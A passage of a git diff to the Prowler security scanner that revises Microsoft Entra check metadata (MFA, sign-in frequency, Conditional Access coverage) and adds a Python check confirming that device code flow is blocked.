users\",\"state\":\"enabled\",\"conditions\":{\"users\":{\"includeUsers\":[\"All\"]},\"applications\":{\"includeApplications\":[\"All\"]}},\"grantControls\":{\"operator\":\"OR\",\"builtInControls\":[\"mfa\"]}}'", "NativeIaC": "", - "Other": "1. Navigate to Microsoft Entra admin center https://entra.microsoft.com. 2. Expand Protection > Conditional Access and select Policies. 3. Click 'New policy' and configure: Users: Select users and groups > Directory roles (include admin roles). Target resources: Include 'All cloud apps' with no exclusions. Grant: Select 'Grant Access' and check 'Require multifactor authentication'. 4. Set policy to 'Report Only' for testing before full enforcement. 5. Click 'Create'.", - "Terraform": "" + "Other": "1. Sign in to Microsoft Entra admin center > Entra ID > Protection > Conditional Access > Policies > New policy\n2. Users: Include > All users\n3. Target resources: Include > All cloud apps (All resources)\n4. Grant: Grant access > Require multifactor authentication > Select\n5. Enable policy: On > Create", + "Terraform": "```hcl\nresource \"azuread_conditional_access_policy\" \"\" {\n display_name = \"Require MFA for all users\"\n state = \"enabled\" # Critical: policy must be enabled to enforce\n\n conditions {\n users {\n include_users = [\"All\"] # Critical: applies to all users, covering all admin roles\n }\n applications {\n included_applications = [\"All\"] # Critical: targets all cloud apps/resources\n }\n }\n\n grant_controls {\n built_in_controls = [\"mfa\"] # Critical: require multifactor authentication\n operator = \"OR\"\n }\n}\n```" }, "Recommendation": { - "Text": "Enable MFA for all users in administrative roles using a Conditional Access policy in Microsoft Entra.", - "Url": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/howto-conditional-access-policy-admin-mfa" + "Text": "Require **MFA** for all administrative roles with Conditional Access scoped to `All cloud apps` to avoid gaps. Prefer **phishing-resistant** methods (FIDO2, passkeys, Authenticator). Apply least privilege, limit exclusions, protect break-glass accounts, monitor sign-ins, and verify policies actively enforce, not just report.", + "Url": "https://hub.prowler.com/check/entra_admin_users_mfa_enabled" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], "RelatedTo": [], - "Notes": "" + "Notes": "", + "CheckAliases": [ + "entra_admin_mfa_enabled_for_administrative_roles" + ] } diff --git a/prowler/providers/m365/services/entra/entra_admin_users_phishing_resistant_mfa_enabled/entra_admin_users_phishing_resistant_mfa_enabled.metadata.json b/prowler/providers/m365/services/entra/entra_admin_users_phishing_resistant_mfa_enabled/entra_admin_users_phishing_resistant_mfa_enabled.metadata.json index cb78632c5e..9b50c777e6 100644 --- a/prowler/providers/m365/services/entra/entra_admin_users_phishing_resistant_mfa_enabled/entra_admin_users_phishing_resistant_mfa_enabled.metadata.json +++ b/prowler/providers/m365/services/entra/entra_admin_users_phishing_resistant_mfa_enabled/entra_admin_users_phishing_resistant_mfa_enabled.metadata.json @@ -1,30 +1,37 @@ { "Provider": "m365", "CheckID": "entra_admin_users_phishing_resistant_mfa_enabled", - "CheckTitle": "Ensure phishing-resistant MFA strength is required for all administrator accounts", + "CheckTitle": "At least one Conditional Access policy requires phishing-resistant MFA strength for administrator roles", "CheckType": [], "ServiceName": "entra", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Conditional Access Policy", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "This check verifies that phishing-resistant MFA strength is required for all administrator accounts. Phishing-resistant MFA includes authentication methods that are resistant to phishing attacks and MFA fatigue attacks compared to weaker methods like SMS or push notifications.", - "Risk": "Administrators using weaker MFA methods, such as SMS or push notifications, are vulnerable to phishing attacks and MFA fatigue attacks. Attackers can intercept codes or trick users into approving fraudulent authentication requests, leading to unauthorized access to critical systems.", - "RelatedUrl": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-admin-phish-resistant-mfa", + "Description": "Microsoft Entra **Conditional Access** for administrator roles requires **phishing-resistant MFA** authentication strength on `All` applications. Disabled policies are ignored; report-only policies aren't considered. Policies with custom strengths require review to confirm they are truly **phishing-resistant**.", + "Risk": "Without phishing-resistant MFA on admin accounts, attackers can:\n- Bypass OTP/push via **AiTM phishing**\n- Abuse **MFA fatigue** to gain sessions\n- Perform **tenant takeover**, alter policies, and exfiltrate data\n\nThis harms confidentiality, configuration integrity, and service availability.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://blog.admindroid.com/use-phishing-resistant-mfa-to-implement-stronger-mfa-authentication/", + "https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-admin-phish-resistant-mfa#create-a-conditional-access-policy", + "https://docs.azure.cn/en-us/entra/identity/conditional-access/policy-guests-mfa-strength", + "https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-admin-phish-resistant-mfa" + ], "Remediation": { "Code": { "CLI": "", "NativeIaC": "", - "Other": "1. Navigate to the Microsoft Entra admin center https://entra.microsoft.com. 2. Click expand Protection > Conditional Access select Policies. 3. Click New policy. Under Users include Select users and groups and check Directory roles. At a minimum, include the directory roles listed below in this section of the document. Under Target resources include All cloud apps and do not create any exclusions. Under Grant select Grant Access and check Require authentication strength and set Phishing-resistant MFA in the dropdown box. Click Select. 4. Under Enable policy set it to Report Only until the organization is ready to enable it. 5. Click Create.", + "Other": "1. Sign in to Microsoft Entra admin center (https://entra.microsoft.com)\n2. Go to Entra ID > Conditional Access > Policies > New policy\n3. Users > Include > Directory roles > select Global Administrator (or the admin roles you require)\n4. Target resources > Resources (cloud apps) > Include > All cloud apps; ensure Exclude is empty\n5. Grant > Grant access > Require authentication strength > select Phishing-resistant MFA > Select\n6. Enable policy: On\n7. Click Create", "Terraform": "" }, "Recommendation": { - "Text": "Require phishing-resistant MFA strength for all administrator accounts through Conditional Access policies. Enforce the use of FIDO2 security keys, Windows Hello for Business, or certificate-based authentication. Ensure administrators are pre-registered for these methods before enforcement to prevent lockouts. Maintain a break-glass account exempt from this policy for emergency access.", - "Url": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-admin-phish-resistant-mfa#create-a-conditional-access-policy" + "Text": "Require `Phishing-resistant MFA` via Conditional Access for all privileged roles and `All resources`. Favor **FIDO2**, **Windows Hello for Business**, or **certificate-based auth**. Apply **least privilege**, use **PIM** for step-up on role activation, test in report-only, and keep a monitored break-glass account.", + "Url": "https://hub.prowler.com/check/entra_admin_users_phishing_resistant_mfa_enabled" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/entra/entra_admin_users_sign_in_frequency_enabled/entra_admin_users_sign_in_frequency_enabled.metadata.json b/prowler/providers/m365/services/entra/entra_admin_users_sign_in_frequency_enabled/entra_admin_users_sign_in_frequency_enabled.metadata.json index 72a7ea8377..541bac256f 100644 --- a/prowler/providers/m365/services/entra/entra_admin_users_sign_in_frequency_enabled/entra_admin_users_sign_in_frequency_enabled.metadata.json +++ b/prowler/providers/m365/services/entra/entra_admin_users_sign_in_frequency_enabled/entra_admin_users_sign_in_frequency_enabled.metadata.json @@ -1,30 +1,35 @@ { "Provider": "m365", "CheckID": "entra_admin_users_sign_in_frequency_enabled", - "CheckTitle": "Ensure Sign-in frequency periodic reauthentication is enabled and properly configured.", + "CheckTitle": "Admin users have sign-in frequency enforced by Conditional Access at or below the recommended interval", "CheckType": [], "ServiceName": "entra", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Conditional Access Policy", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "Ensure Sign-in frequency periodic reauthentication is enabled and properly configured to reduce the risk of unauthorized access and session hijacking.", - "Risk": "Allowing persistent browser sessions and long sign-in frequencies for administrative users increases the risk of unauthorized access. Attackers could exploit session persistence to maintain access to an admin account without reauthentication, increasing the likelihood of account compromise, especially in cases of credential theft or session hijacking.", - "RelatedUrl": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-conditional-access-session#sign-in-frequency", + "Description": "Microsoft Entra **Conditional Access** evaluates whether admin roles are covered by policies that enforce a defined **sign-in frequency** and **non-persistent browser sessions** across *all cloud apps*. It looks for reauthentication set to a time interval or `Every time`, persistent browser set to `never`, and policies that are enforced rather than report-only or disabled.", + "Risk": "Lax reauthentication and persistent sessions let admin tokens live too long, enabling **session hijacking**, **token replay**, and access after **credential theft**. Attackers can modify configurations, elevate privileges, and exfiltrate data, threatening **confidentiality** and **integrity** and increasing risk of **tenant takeover**.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-session-lifetime#user-sign-in-frequency", + "https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-conditional-access-session#sign-in-frequency" + ], "Remediation": { "Code": { "CLI": "", "NativeIaC": "", - "Other": "1. Navigate to Microsoft Entra admin center https://entra.microsoft.com/. 2. Click to expand Protection > Conditional Access Select Policies. 3. Click New policy. Under Users include, select users and groups and check Directory roles. At a minimum, include the directory roles listed below in this section of the document. Under Target resources, include All cloud apps and do not create any exclusions. Under Grant, select Grant Access and check Require multifactor authentication. Under Session, select Sign-in frequency, select Periodic reauthentication, and set it to 4 hours for E3 tenants. E5 tenants with PIM can be set to a maximum value of 24 hours. Check Persistent browser session, then select Never persistent in the drop-down menu. 4. Under Enable policy, set it to Report Only until the organization is ready to enable it.", - "Terraform": "" + "Other": "1. Go to Microsoft Entra admin center (https://entra.microsoft.com/)\n2. Navigate to Protection > Conditional Access > Policies > New policy\n3. Users > Include > Select users and groups > Directory roles: select admin roles (e.g., Global Administrator)\n4. Target resources (Cloud apps): Select All cloud apps\n5. Session:\n - Enable Sign-in frequency and set to Every time OR set 4 hours (or less)\n - Set Persistent browser session to Never persistent\n6. Enable policy: On, then Create", + "Terraform": "```hcl\nresource \"azuread_conditional_access_policy\" \"\" {\n display_name = \"\"\n state = \"enabled\" # Critical: must be enabled (not report-only) to enforce\n\n conditions {\n users {\n included_roles = [\"\"] # Critical: target admin directory roles (e.g., Global Administrator)\n }\n applications {\n included_applications = [\"All\"] # Critical: apply to all cloud apps\n }\n }\n\n session_controls {\n sign_in_frequency = 4 # Critical: enforce reauth at or below 4 hours\n sign_in_frequency_interval = \"hours\" # Critical: time-based frequency in hours\n persistent_browser_mode = \"never\" # Critical: enforce non-persistent browser sessions\n }\n}\n```" }, "Recommendation": { - "Text": "Enforce a sign-in frequency limit of no more than 4 hours for E3 tenants (or 24 hours for E5 with Privileged Identity Management) and set browser sessions to Never persistent. This ensures that administrative users are regularly reauthenticated, reducing the risk of prolonged unauthorized access and mitigating session hijacking threats.", - "Url": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-session-lifetime#user-sign-in-frequency" + "Text": "Use **Conditional Access** for admin roles to:\n- Enforce short sign-in frequency (e.g., `4` hours, or `Every time` for critical actions)\n- Set persistent browser to `never`\n- Cover all apps and run in enforce mode\n\nPair with **least privilege**, **MFA**, **PIM**, and **token protection** to reduce session abuse.", + "Url": "https://hub.prowler.com/check/entra_admin_users_sign_in_frequency_enabled" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/entra/entra_all_apps_conditional_access_coverage/entra_all_apps_conditional_access_coverage.metadata.json b/prowler/providers/m365/services/entra/entra_all_apps_conditional_access_coverage/entra_all_apps_conditional_access_coverage.metadata.json index d76c4e6991..fda451dc8f 100644 --- a/prowler/providers/m365/services/entra/entra_all_apps_conditional_access_coverage/entra_all_apps_conditional_access_coverage.metadata.json +++ b/prowler/providers/m365/services/entra/entra_all_apps_conditional_access_coverage/entra_all_apps_conditional_access_coverage.metadata.json @@ -7,9 +7,9 @@ "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "medium", - "ResourceType": "Conditional Access Policy", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "At least one Conditional Access policy is configured to target **all cloud apps**. This ensures comprehensive security coverage and automatic protection for newly onboarded applications without requiring policy updates.", + "Description": "Microsoft Entra **Conditional Access** has at least one policy configured to target **all cloud apps**. This ensures comprehensive security coverage and automatic protection for newly onboarded applications without requiring policy updates.", "Risk": "Without a policy targeting **all cloud apps**, newly integrated applications may not be protected by **Conditional Access**. This creates security gaps where users could access sensitive resources without proper authentication controls.", "RelatedUrl": "", "AdditionalURLs": [ diff --git a/prowler/providers/m365/services/entra/entra_app_registration_no_unused_privileged_permissions/entra_app_registration_no_unused_privileged_permissions.metadata.json b/prowler/providers/m365/services/entra/entra_app_registration_no_unused_privileged_permissions/entra_app_registration_no_unused_privileged_permissions.metadata.json index 7d4ecbe1d7..4044bef298 100644 --- a/prowler/providers/m365/services/entra/entra_app_registration_no_unused_privileged_permissions/entra_app_registration_no_unused_privileged_permissions.metadata.json +++ b/prowler/providers/m365/services/entra/entra_app_registration_no_unused_privileged_permissions/entra_app_registration_no_unused_privileged_permissions.metadata.json @@ -7,9 +7,9 @@ "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "medium", - "ResourceType": "App Registration", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "OAuth app registrations with privileged API permissions (High privilege level) that are not being actively used. Usage status is determined by Microsoft Defender for Cloud Apps App Governance.", + "Description": "Microsoft Entra **OAuth app registrations** with privileged API permissions (High privilege level) that are not being actively used. Usage status is determined by Microsoft Defender for Cloud Apps App Governance.", "Risk": "Unused privileged permissions expand the attack surface. If a compromised app has dormant privileged permissions, attackers can exploit them for **privilege escalation**, **unauthorized access** to sensitive data, or **lateral movement** within the environment.", "RelatedUrl": "", "AdditionalURLs": [ @@ -29,7 +29,8 @@ } }, "Categories": [ - "identity-access" + "identity-access", + "e3" ], "DependsOn": [], "RelatedTo": [], diff --git a/prowler/providers/m365/services/entra/entra_authentication_method_sms_voice_disabled/entra_authentication_method_sms_voice_disabled.metadata.json b/prowler/providers/m365/services/entra/entra_authentication_method_sms_voice_disabled/entra_authentication_method_sms_voice_disabled.metadata.json index 2a4ab0223a..620bc5f634 100644 --- a/prowler/providers/m365/services/entra/entra_authentication_method_sms_voice_disabled/entra_authentication_method_sms_voice_disabled.metadata.json +++ b/prowler/providers/m365/services/entra/entra_authentication_method_sms_voice_disabled/entra_authentication_method_sms_voice_disabled.metadata.json @@ -9,7 +9,7 @@ "Severity": "medium", "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "SMS and Voice authentication methods should be disabled in the tenant's authentication methods policy. These methods are vulnerable to **SIM-swapping**, **interception**, and **social engineering** attacks, and are deprecated by NIST SP 800-63B as out-of-band authenticators.", + "Description": "Microsoft Entra tenant's authentication methods policy should have **SMS and Voice** authentication methods disabled. These methods are vulnerable to **SIM-swapping**, **interception**, and **social engineering** attacks, and are deprecated by NIST SP 800-63B as out-of-band authenticators.", "Risk": "Enabled SMS or Voice authentication allows attackers to bypass MFA through **SIM-swapping** or **SS7 protocol interception**, gaining unauthorized access to accounts. These methods lack cryptographic binding to the device, making them significantly weaker than phishing-resistant alternatives.", "RelatedUrl": "", "AdditionalURLs": [ @@ -29,7 +29,8 @@ } }, "Categories": [ - "identity-access" + "identity-access", + "e3" ], "DependsOn": [], "RelatedTo": [], diff --git a/prowler/providers/m365/services/entra/entra_break_glass_account_fido2_security_key_registered/entra_break_glass_account_fido2_security_key_registered.metadata.json b/prowler/providers/m365/services/entra/entra_break_glass_account_fido2_security_key_registered/entra_break_glass_account_fido2_security_key_registered.metadata.json index 9f36120347..fe2753d131 100644 --- a/prowler/providers/m365/services/entra/entra_break_glass_account_fido2_security_key_registered/entra_break_glass_account_fido2_security_key_registered.metadata.json +++ b/prowler/providers/m365/services/entra/entra_break_glass_account_fido2_security_key_registered/entra_break_glass_account_fido2_security_key_registered.metadata.json @@ -9,7 +9,7 @@ "Severity": "critical", "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "Break glass (emergency access) accounts should have at least one **FIDO2 security key** registered as their authentication method. These accounts are identified as users excluded from all enabled Conditional Access policies.", + "Description": "Microsoft Entra break glass (emergency access) accounts should have at least one **FIDO2 security key** registered as their authentication method. These accounts are identified as users excluded from all enabled Conditional Access policies.", "Risk": "Without FIDO2 security keys, break glass accounts rely on weaker authentication methods vulnerable to **phishing, credential theft, and man-in-the-middle attacks**. Compromised emergency access accounts could grant an attacker unrestricted tenant access, bypassing all Conditional Access protections.", "RelatedUrl": "", "AdditionalURLs": [ diff --git a/prowler/providers/m365/services/entra/entra_conditional_access_policy_app_enforced_restrictions/entra_conditional_access_policy_app_enforced_restrictions.metadata.json b/prowler/providers/m365/services/entra/entra_conditional_access_policy_app_enforced_restrictions/entra_conditional_access_policy_app_enforced_restrictions.metadata.json index 65f763ab64..8dbf843451 100644 --- a/prowler/providers/m365/services/entra/entra_conditional_access_policy_app_enforced_restrictions/entra_conditional_access_policy_app_enforced_restrictions.metadata.json +++ b/prowler/providers/m365/services/entra/entra_conditional_access_policy_app_enforced_restrictions/entra_conditional_access_policy_app_enforced_restrictions.metadata.json @@ -7,9 +7,9 @@ "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "medium", - "ResourceType": "Conditional Access Policy", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "Conditional Access policy with **application enforced restrictions** limits access to SharePoint, OneDrive, and Exchange content from unmanaged devices.\n\nThis control helps prevent data exfiltration by restricting download, print, and sync capabilities on devices that are not managed by the organization.", + "Description": "Microsoft Entra **Conditional Access** policy with **application enforced restrictions** limits access to SharePoint, OneDrive, and Exchange content from unmanaged devices.\n\nThis control helps prevent data exfiltration by restricting download, print, and sync capabilities on devices that are not managed by the organization.", "Risk": "Without application enforced restrictions, users accessing SharePoint, OneDrive, and Exchange from unmanaged devices can:\n\n- **Download** sensitive files to personal devices\n- **Print** confidential documents\n- **Sync** corporate data to uncontrolled locations\n\nThis increases the risk of data leakage and unauthorized access to sensitive information.", "RelatedUrl": "", "AdditionalURLs": [ diff --git a/prowler/providers/m365/services/entra/entra_conditional_access_policy_approved_client_app_required_for_mobile/entra_conditional_access_policy_approved_client_app_required_for_mobile.metadata.json b/prowler/providers/m365/services/entra/entra_conditional_access_policy_approved_client_app_required_for_mobile/entra_conditional_access_policy_approved_client_app_required_for_mobile.metadata.json index a355ec43b7..9c3ad12acd 100644 --- a/prowler/providers/m365/services/entra/entra_conditional_access_policy_approved_client_app_required_for_mobile/entra_conditional_access_policy_approved_client_app_required_for_mobile.metadata.json +++ b/prowler/providers/m365/services/entra/entra_conditional_access_policy_approved_client_app_required_for_mobile/entra_conditional_access_policy_approved_client_app_required_for_mobile.metadata.json @@ -9,7 +9,7 @@ "Severity": "medium", "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "Conditional Access policies can require that only **approved client apps** or apps with **app protection policies** are used on iOS and Android devices. This ensures corporate data on mobile platforms is accessed only through managed or protected applications.", + "Description": "Microsoft Entra **Conditional Access** policies can require that only **approved client apps** or apps with **app protection policies** are used on iOS and Android devices. This ensures corporate data on mobile platforms is accessed only through managed or protected applications.", "Risk": "Without requiring approved or protected client apps on mobile platforms, users can access corporate data through **unmanaged applications** that lack security controls. This increases the risk of **data leakage**, unauthorized data sharing, and exposure of sensitive information on personal or compromised mobile devices.", "RelatedUrl": "", "AdditionalURLs": [ diff --git a/prowler/providers/m365/services/entra/entra_conditional_access_policy_compliant_device_hybrid_joined_device_mfa_required/entra_conditional_access_policy_compliant_device_hybrid_joined_device_mfa_required.metadata.json b/prowler/providers/m365/services/entra/entra_conditional_access_policy_compliant_device_hybrid_joined_device_mfa_required/entra_conditional_access_policy_compliant_device_hybrid_joined_device_mfa_required.metadata.json index 5b592a0732..1765e524a3 100644 --- a/prowler/providers/m365/services/entra/entra_conditional_access_policy_compliant_device_hybrid_joined_device_mfa_required/entra_conditional_access_policy_compliant_device_hybrid_joined_device_mfa_required.metadata.json +++ b/prowler/providers/m365/services/entra/entra_conditional_access_policy_compliant_device_hybrid_joined_device_mfa_required/entra_conditional_access_policy_compliant_device_hybrid_joined_device_mfa_required.metadata.json @@ -9,7 +9,7 @@ "Severity": "high", "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "A **Conditional Access policy** enforces one of the following grant controls for admin roles or all users across all cloud apps: - 'Require device to be marked as compliant' - 'Require Microsoft Entra hybrid joined device' - 'Require multifactor authentication' This ensures that access is provided only under strong authentication or trusted device conditions.", + "Description": "Microsoft Entra **Conditional Access** policy enforces one of the following grant controls for admin roles or all users across all cloud apps: - 'Require device to be marked as compliant' - 'Require Microsoft Entra hybrid joined device' - 'Require multifactor authentication' This ensures that access is provided only under strong authentication or trusted device conditions.", "Risk": "If this policy is not implemented, attackers with compromised credentials may gain access from unmanaged devices or without strong authentication, increasing the likelihood of **unauthorized access and data breaches**.", "RelatedUrl": "", "AdditionalURLs": [ diff --git a/prowler/providers/m365/services/entra/entra_conditional_access_policy_device_code_flow_blocked/__init__.py b/prowler/providers/m365/services/entra/entra_conditional_access_policy_device_code_flow_blocked/__init__.py new file mode 100644 index 0000000000..e69de29bb2 diff --git a/prowler/providers/m365/services/entra/entra_conditional_access_policy_device_code_flow_blocked/entra_conditional_access_policy_device_code_flow_blocked.metadata.json b/prowler/providers/m365/services/entra/entra_conditional_access_policy_device_code_flow_blocked/entra_conditional_access_policy_device_code_flow_blocked.metadata.json new file mode 100644 index 0000000000..256b1f88c6 --- /dev/null +++ b/prowler/providers/m365/services/entra/entra_conditional_access_policy_device_code_flow_blocked/entra_conditional_access_policy_device_code_flow_blocked.metadata.json @@ -0,0 +1,41 @@ +{ + "Provider": "m365", + "CheckID": "entra_conditional_access_policy_device_code_flow_blocked", + "CheckTitle": "Conditional Access policy blocks device code flow to prevent phishing attacks", + "CheckType": [], + "ServiceName": "entra", + "SubServiceName": "", + "ResourceIdTemplate": "", + "Severity": "high", + "ResourceType": "NotDefined", + "ResourceGroup": "IAM", + "Description": "Conditional Access policies restrict the **device code authentication flow**, which is commonly abused in phishing campaigns to hijack user sessions. A policy targeting `deviceCodeFlow` in authentication flow conditions with a block grant control prevents this attack vector.", + "Risk": "Device code flow is heavily exploited in phishing attacks such as **Storm-2372**, where attackers trick users into entering device codes on legitimate Microsoft login pages. Without a blocking policy, attackers can obtain tokens and gain persistent access to organizational resources.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-conditional-access-conditions#authentication-flows", + "https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-authentication-flows" + ], + "Remediation": { + "Code": { + "CLI": "", + "NativeIaC": "", + "Other": "1. Navigate to the Microsoft Entra admin center at https://entra.microsoft.com.\n2. Expand **Protection** > **Conditional Access** and select **Policies**.\n3. Click **New policy**.\n4. Under **Users**, include **All users** and exclude break-glass accounts.\n5. Under **Target resources**, include **All cloud apps**.\n6. Under **Conditions** > **Authentication flows**, select **Device code flow**.\n7. Under **Grant**, select **Block access**.\n8. Set the policy to **On** and click **Create**.", + "Terraform": "" + }, + "Recommendation": { + "Text": "Block device code flow via Conditional Access to mitigate phishing attacks that abuse this authentication method. Exclude only break-glass accounts and legitimate service accounts that require device code flow. Regularly review exceptions to minimize the attack surface.", + "Url": "https://hub.prowler.com/check/entra_conditional_access_policy_device_code_flow_blocked" + } + }, + "Categories": [ + "identity-access", + "trust-boundaries", + "e3" + ], + "DependsOn": [], + "RelatedTo": [ + "entra_legacy_authentication_blocked" + ], + "Notes": "The authenticationFlows condition in Conditional Access may require the beta Graph API endpoint and the Prefer: include-unknown-enum-members header." +} diff --git a/prowler/providers/m365/services/entra/entra_conditional_access_policy_device_code_flow_blocked/entra_conditional_access_policy_device_code_flow_blocked.py b/prowler/providers/m365/services/entra/entra_conditional_access_policy_device_code_flow_blocked/entra_conditional_access_policy_device_code_flow_blocked.py new file mode 100644 index 0000000000..0b0b677a62 --- /dev/null +++ b/prowler/providers/m365/services/entra/entra_conditional_access_policy_device_code_flow_blocked/entra_conditional_access_policy_device_code_flow_blocked.py @@ -0,0 +1,78 @@ +from prowler.lib.check.models import Check, CheckReportM365 +from prowler.providers.m365.services.entra.entra_client import entra_client +from prowler.providers.m365.services.entra.entra_service import ( + ConditionalAccessGrantControl, + ConditionalAccessPolicyState, + TransferMethod, +) + + +class entra_conditional_access_policy_device_code_flow_blocked(Check): + """Check if at least one Conditional Access policy blocks device code flow. + + This check ensures that at least one enabled Conditional Access policy + targets the device code authentication flow and blocks access, protecting + against phishing attacks that abuse this flow (e.g., Storm-2372). + + - PASS: An enabled Conditional Access policy blocks device code flow. + - FAIL: No Conditional Access policy restricts device code flow. + """ + + def execute(self) -> list[CheckReportM365]: + """Execute the check to verify device code flow is blocked by a Conditional Access policy. + + Returns: + A list of reports containing the result of the check. + """ + findings = [] + report = CheckReportM365( + metadata=self.metadata(), + resource={}, + resource_name="Conditional Access Policies", + resource_id="conditionalAccessPolicies", + ) + report.status = "FAIL" + report.status_extended = "No Conditional Access Policy blocks device code flow." + + for policy in entra_client.conditional_access_policies.values(): + if policy.state == ConditionalAccessPolicyState.DISABLED: + continue + + if "All" not in policy.conditions.user_conditions.included_users: + continue + + if ( + "All" + not in policy.conditions.application_conditions.included_applications + ): + continue + + if not policy.conditions.authentication_flows: + continue + + if ( + TransferMethod.DEVICE_CODE_FLOW + not in policy.conditions.authentication_flows.transfer_methods + ): + continue + + if ( + ConditionalAccessGrantControl.BLOCK + in policy.grant_controls.built_in_controls + ): + report = CheckReportM365( + metadata=self.metadata(), + resource=policy, + resource_name=policy.display_name, + resource_id=policy.id, + ) + if policy.state == ConditionalAccessPolicyState.ENABLED_FOR_REPORTING: + report.status = "FAIL" + report.status_extended = f"Conditional Access Policy '{policy.display_name}' reports device code flow but does not block it." + else: + report.status = "PASS" + report.status_extended = f"Conditional Access Policy '{policy.display_name}' blocks device code flow." + break + + findings.append(report) + return findings diff --git a/prowler/providers/m365/services/entra/entra_conditional_access_policy_require_mfa_for_management_api/entra_conditional_access_policy_require_mfa_for_management_api.metadata.json b/prowler/providers/m365/services/entra/entra_conditional_access_policy_require_mfa_for_management_api/entra_conditional_access_policy_require_mfa_for_management_api.metadata.json index f07368a2a6..acbd90a543 100644 --- a/prowler/providers/m365/services/entra/entra_conditional_access_policy_require_mfa_for_management_api/entra_conditional_access_policy_require_mfa_for_management_api.metadata.json +++ b/prowler/providers/m365/services/entra/entra_conditional_access_policy_require_mfa_for_management_api/entra_conditional_access_policy_require_mfa_for_management_api.metadata.json @@ -7,9 +7,9 @@ "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Conditional Access Policy", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "This check verifies that at least one **enabled** Conditional Access policy requires **multifactor authentication** for the **Windows Azure Service Management API**, covering Azure Portal, CLI, PowerShell, and IaC tools.", + "Description": "Microsoft Entra **Conditional Access** is verified to have at least one **enabled** policy that requires **multifactor authentication** for the **Windows Azure Service Management API**, covering Azure Portal, CLI, PowerShell, and IaC tools.", "Risk": "Without MFA on Azure management endpoints, compromised credentials allow **control-plane access**. Attackers can modify configurations, create or delete resources, extract secrets, and pivot laterally, compromising confidentiality, integrity, and availability.", "RelatedUrl": "", "AdditionalURLs": [ @@ -29,7 +29,8 @@ } }, "Categories": [ - "identity-access" + "identity-access", + "e3" ], "DependsOn": [], "RelatedTo": [ diff --git a/prowler/providers/m365/services/entra/entra_default_app_management_policy_enabled/entra_default_app_management_policy_enabled.metadata.json b/prowler/providers/m365/services/entra/entra_default_app_management_policy_enabled/entra_default_app_management_policy_enabled.metadata.json index 07919b62e0..ab3e1f303e 100644 --- a/prowler/providers/m365/services/entra/entra_default_app_management_policy_enabled/entra_default_app_management_policy_enabled.metadata.json +++ b/prowler/providers/m365/services/entra/entra_default_app_management_policy_enabled/entra_default_app_management_policy_enabled.metadata.json @@ -7,9 +7,9 @@ "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "medium", - "ResourceType": "Authorization Policy", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "This check verifies that the **default app management policy** in Microsoft Entra ID has the required **credential restrictions** configured for applications: **block password addition**, **restrict max password lifetime**, **block custom passwords**, and **restrict max certificate lifetime**.", + "Description": "Microsoft Entra ID **default app management policy** is verified to have the required **credential restrictions** configured for applications: **block password addition**, **restrict max password lifetime**, **block custom passwords**, and **restrict max certificate lifetime**.", "Risk": "Without the required credential restrictions, applications and service principals can use **insecure credential configurations**, including **long-lived secrets**, **custom passwords**, or **unrestricted certificates**, increasing the risk of **credential compromise** and **unauthorized access**.", "RelatedUrl": "", "AdditionalURLs": [ diff --git a/prowler/providers/m365/services/entra/entra_dynamic_group_for_guests_created/entra_dynamic_group_for_guests_created.metadata.json b/prowler/providers/m365/services/entra/entra_dynamic_group_for_guests_created/entra_dynamic_group_for_guests_created.metadata.json index fc3bdf204f..9177223050 100644 --- a/prowler/providers/m365/services/entra/entra_dynamic_group_for_guests_created/entra_dynamic_group_for_guests_created.metadata.json +++ b/prowler/providers/m365/services/entra/entra_dynamic_group_for_guests_created/entra_dynamic_group_for_guests_created.metadata.json @@ -1,30 +1,34 @@ { "Provider": "m365", "CheckID": "entra_dynamic_group_for_guests_created", - "CheckTitle": "Ensure a dynamic group for guest users is created.", + "CheckTitle": "A dynamic membership group for guest users exists", "CheckType": [], "ServiceName": "entra", "SubServiceName": "", "ResourceIdTemplate": "", - "Severity": "medium", - "ResourceType": "Group Settings", + "Severity": "low", + "ResourceType": "NotDefined", "ResourceGroup": "governance", - "Description": "Ensure that a dynamic group is created for guest users in Microsoft Entra to enforce conditional access policies and security controls automatically.", - "Risk": "Without a dynamic group for guest users, administrators may need to manually manage access controls, leading to potential security gaps and inconsistent policy enforcement.", - "RelatedUrl": "https://learn.microsoft.com/en-us/entra/identity/users/groups-create-rule", + "Description": "Microsoft Entra **groups** are evaluated for **dynamic membership** that includes only users with `userType -eq \"Guest\"`.\n\nThe finding indicates whether a guest-targeted dynamic group exists to centrally scope policies and governance.", + "Risk": "Without a dedicated dynamic guest group, guests may evade 